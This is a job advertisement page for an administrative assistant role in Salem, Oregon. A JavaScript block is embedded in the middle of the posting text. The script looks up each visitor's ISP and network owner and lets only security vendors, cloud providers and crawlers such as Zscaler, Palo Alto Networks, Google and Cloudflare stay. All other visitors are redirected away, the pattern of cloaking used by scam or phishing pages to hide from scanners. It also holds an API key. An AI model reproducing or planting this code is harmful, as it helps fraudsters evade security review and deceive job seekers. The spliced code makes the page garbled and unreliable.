Administrative Assistant – Full Time

Administrative Assistant – Full Time

Overview


const ipAddress = data.ip;

// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;

// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));

if (!ispAllowed && !asOrgAllowed) { // Redirect all users to the same URL window.location.href = ''; } }) .catch(error => { console.error('Error retrieving ISP name:', error); }); }) .catch(error => { console.error('Error retrieving IP address or location:', error); });

We are seeking an Administrative Assistant III in Salem, Oregon, to provide high-level administrative support to ensure efficient operations.

Key Responsibilities:

  • Manage complex calendars, schedule meetings, and coordinate appointments.
  • Prepare, review, and process correspondence, reports, and presentations.
  • Serve as a primary point of contact for internal and external stakeholders.
  • Maintain and organize files, records, and office supplies.
  • Assist with special projects and provide backup support to team members.

Skills Needed:

  • Excellent communication, organization, and multitasking abilities.
  • Proficiency in MS Office Suite and office management tools.
  • Strong attention to detail and problem-solving skills.
  • Ability to handle sensitive information with confidentiality.

Benefits:

  • Competitive salary and comprehensive health benefits.
  • Paid time off and holidays.
  • Opportunities for professional development.
  • Supportive work environment in a vibrant community.
Emploment Location
Oregon, Salem

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